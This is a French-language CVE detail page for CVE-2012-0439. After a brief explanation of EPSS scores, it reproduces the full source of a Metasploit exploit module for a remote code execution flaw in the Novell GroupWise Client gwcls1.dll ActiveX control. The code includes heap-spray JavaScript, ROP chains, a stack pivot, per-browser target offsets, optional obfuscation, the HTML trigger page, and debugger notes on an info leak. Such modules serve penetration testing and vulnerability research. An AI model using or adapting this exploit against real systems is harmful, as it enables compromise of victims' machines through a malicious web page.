CVE-2012-0439 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::RopDb include Msf::Exploit::Remote::BrowserAutopwn autopwn_info({ :ua_name => HttpClients::IE, :ua_minver => "6.0", :ua_maxver => "9.0", :javascript => true, :os_name => OperatingSystems::WINDOWS, :rank => NormalRanking, :classid => "{601D7813-408F-11D1-98D7-444553540000}", :method => "SetEngine" }) def initialize(info={}) super(update_info(info, 'Name' => "Novell GroupWise Client gwcls1.dll ActiveX Remote Code Execution", 'Description' => %q{ This module exploits a vulnerability in the Novell GroupWise Client gwcls1.dll ActiveX. Several methods in the GWCalServer control use user provided data as a pointer, which allows to read arbitrary memory and execute arbitrary code. This module has been tested successfully with GroupWise Client 2012 on IE6 - IE9. The JRE6 needs to be installed to achieve ASLR bypass. }, 'License' => MSF_LICENSE, 'Author' => [ 'rgod <rgod[at]autistici.org>', # Vulnerability discovery 'juan vazquez' # Metasploit module ], 'References' => [ [ 'CVE', '2012-0439' ], [ 'OSVDB', '89700' ], [ 'BID' , '57658' ], [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-13-008' ], [ 'URL', 'http://www.novell.com/support/kb/doc.php?id=7011688' ] ], 'Payload' => { 'BadChars' => "\x00", 'Space' => 1040, 'DisableNops' => true }, 'DefaultOptions' => { 'InitialAutoRunScript' => 'migrate -f' }, 'Platform' => 'win', 'Targets' => [ # gwcls1.dll 12.0.0.8586 [ 'Automatic', {} ], [ 'IE 6 on Windows XP SP3', { 'Rop' => nil, 'Offset' => '0x5F4' } ], [ 'IE 7 on Windows XP SP3', { 'Rop' => nil, 'Offset' => '0x5F4' } ], [ 'IE 8 on Windows XP SP3', { 'Rop' => :msvcrt, 'Offset' => '0x3e3' } ], [ 'IE 7 on Windows Vista', { 'Rop' => nil, 'Offset' => '0x5f4' } ], [ 'IE 8 on Windows Vista', { 'Rop' => :jre, 'Offset' => '0x3e3' } ], [ 'IE 8 on Windows 7', { 'Rop' => :jre, 'Offset' => '0x3e3' } ], [ 'IE 9 on Windows 7', { 'Rop' => :jre, 'Offset' => '0x3ed' } ]#'0x5fe' } ] ], 'Privileged' => false, 'DisclosureDate' => "Jan 30 2013", 'DefaultTarget' => 0)) register_options( [ OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false]) ], self.class) end def get_target(agent) #If the user is already specified by the user, we'll just use that return target if target.name != 'Automatic' nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || '' ie = agent.scan(/MSIE (\d)/).flatten[0] || '' ie_name = "IE #{ie}" case nt when '5.1' os_name = 'Windows XP SP3' when '6.0' os_name = 'Windows Vista' when '6.1' os_name = 'Windows 7' end targets.each do |t| if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name)) print_status("Target selected as: #{t.name}") return t end end return nil end def ie_heap_spray(my_target, p) js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch)) js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch)) js_random_nops = Rex::Text.to_unescape(make_nops(4), Rex::Arch.endian(my_target.arch)) # Land the payload at 0x0c0c0c0c case my_target when targets[7] # IE 9 on Windows 7 js = %Q| function randomblock(blocksize) { var theblock = ""; for (var i = 0; i < blocksize; i++) { theblock += Math.floor(Math.random()*90)+10; } return theblock; } function tounescape(block) { var blocklen = block.length; var unescapestr = ""; for (var i = 0; i < blocklen-1; i=i+4) { unescapestr += "%u" + block.substring(i,i+4); } return unescapestr; } var heap_obj = new heapLib.ie(0x10000); var code = unescape("#{js_code}"); var nops = unescape("#{js_random_nops}"); while (nops.length < 0x80000) nops += nops; var offset_length = #{my_target['Offset']}; for (var i=0; i < 0x1000; i++) { var padding = unescape(tounescape(randomblock(0x1000))); while (padding.length < 0x1000) padding+= padding; var junk_offset = padding.substring(0, offset_length); var single_sprayblock = junk_offset + code + nops.substring(0, 0x800 - code.length - junk_offset.length); while (single_sprayblock.length < 0x20000) single_sprayblock += single_sprayblock; sprayblock = single_sprayblock.substring(0, (0x40000-6)/2); heap_obj.alloc(sprayblock); } | else # For IE 6, 7, 8 js = %Q| var heap_obj = new heapLib.ie(0x20000); var code = unescape("#{js_code}"); var nops = unescape("#{js_nops}"); while (nops.length < 0x80000) nops += nops; var offset = nops.substring(0, #{my_target['Offset']}); var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length); while (shellcode.length < 0x40000) shellcode += shellcode; var block = shellcode.substring(0, (0x80000-6)/2); heap_obj.gc(); for (var i=1; i < 0x300; i++) { heap_obj.alloc(block); } var overflow = nops.substring(0, 10); | end js = heaplib(js, {:noobfu => true}) if datastore['OBFUSCATE'] js = ::Rex::Exploitation::JSObfu.new(js) js.obfuscate end return js end def stack_pivot pivot = "\x64\xa1\x18\x00\x00\x00" # mov eax, fs:[0x18 # get teb pivot << "\x83\xC0\x08" # add eax, byte 8 # get pointer to stacklimit pivot << "\x8b\x20" # mov esp, [eax] # put esp at stacklimit pivot << "\x81\xC4\x30\xF8\xFF\xFF" # add esp, -2000 # plus a little offset return pivot end def get_payload(t, cli) code = payload.encoded # No rop. Just return the payload. return [0x0c0c0c10 - 0x426].pack("V") + [0x0c0c0c14].pack("V") + code if t['Rop'].nil? # Both ROP chains generated by mona.py - See corelan.be case t['Rop'] when :msvcrt print_status("Using msvcrt ROP") rop_payload = generate_rop_payload('msvcrt', '', 'target'=>'xp') # Mapped at 0x0c0c07ea jmp_shell = Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $+#{0x0c0c0c14 - 0x0c0c07ea - rop_payload.length}").encode_string rop_payload << jmp_shell rop_payload << rand_text_alpha(0x0c0c0c0c - 0x0c0c07ea- rop_payload.length) rop_payload << [0x0c0c0c10 - 0x426].pack("V") # Mapped at 0x0c0c0c0c # 0x426 => vtable offset rop_payload << [0x77c15ed5].pack("V") # Mapped at 0x0c0c0c10 # xchg eax, esp # ret rop_payload << stack_pivot rop_payload << code else print_status("Using JRE ROP") rop_payload = generate_rop_payload('java', '') # Mapped at 0x0c0c07ea jmp_shell = Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $+#{0x0c0c0c14 - 0x0c0c07ea - rop_payload.length}").encode_string rop_payload << jmp_shell rop_payload << rand_text_alpha(0x0c0c0c0c - 0x0c0c07ea- rop_payload.length) rop_payload << [0x0c0c0c10 - 0x426].pack("V") # Mapped at 0x0c0c0c0c # 0x426 => vtable offset rop_payload << [0x7C348B05].pack("V") # Mapped at 0x0c0c0c10 # xchg eax, esp # ret rop_payload << stack_pivot rop_payload << code end return rop_payload end def load_exploit_html(my_target, cli) p = get_payload(my_target, cli) js = ie_heap_spray(my_target, p) trigger = "target.GetNXPItem(\"22/10/2013\", 1, 1);" * 200 html = %Q| <html> <head> <script> #{js} </script> </head> <body> <object classid='clsid:601D7813-408F-11D1-98D7-444553540000' id ='target'> </object> <script> target.SetEngine(0x0c0c0c0c-0x20); setInterval(function(){#{trigger}},1000); </script> </body> </html> | return html end def on_request_uri(cli, request) agent = request.headers['User-Agent'] uri = request.uri print_status("Requesting: #{uri}") my_target = get_target(agent) # Avoid the attack if no suitable target found if my_target.nil? print_error("Browser not supported, sending 404: #{agent}") send_not_found(cli) return end html = load_exploit_html(my_target, cli) html = html.gsub(/^\t\t/, '') print_status("Sending HTML...") send_response(cli, html, {'Content-Type'=>'text/html'}) end end =begin * Remote Code Exec (240.8d4): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\PROGRA~1\Novell\GROUPW~1\gwenv1.dll - eax=00000000 ebx=0c0c0bec ecx=030c2998 edx=030c2998 esi=0c0c0bec edi=0013df58 eip=10335e2d esp=0013de04 ebp=0013de8c iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00210202 gwenv1!NgwOFErrorEnabledVector<NgwOFAttribute>::SetParent+0x326b9d: 10335e2d 8a8e4f040000 mov cl,byte ptr [esi+44Fh] ds:0023:0c0c103b=?? .text:103BDDEC mov eax, [ebp+var_4] // var_4 => Engine + 0x20 .text:103BDDEF test esi, esi .text:103BDDF1 jnz short loc_103BDE17 .text:103BDDF3 cmp [eax+426h], esi .text:103BDDF9 jz short loc_103BDE17 // Check function pointer against nil? .text:103BDDFB mov ecx, [ebp+arg_8] .text:103BDDFE mov edx, [ebp+arg_4] .text:103BDE01 push ecx .text:103BDE02 mov ecx, [eax+42Ah] // Carefully crafted object allows to control it .text:103BDE08 push edx .text:103BDE09 mov edx, [eax+426h] // Carefully crafted object allows to control it .text:103BDE0F push ecx .text:103BDE10 call edx // Win! * Info Leak // Memory disclosure => 4 bytes from an arbitrary address // Unstable when info leaking and triggering rce path... target.SetEngine(0x7ffe0300-0x45c); // Disclosing ntdll var leak = target.GetMiscAccess(); alert(leak); =end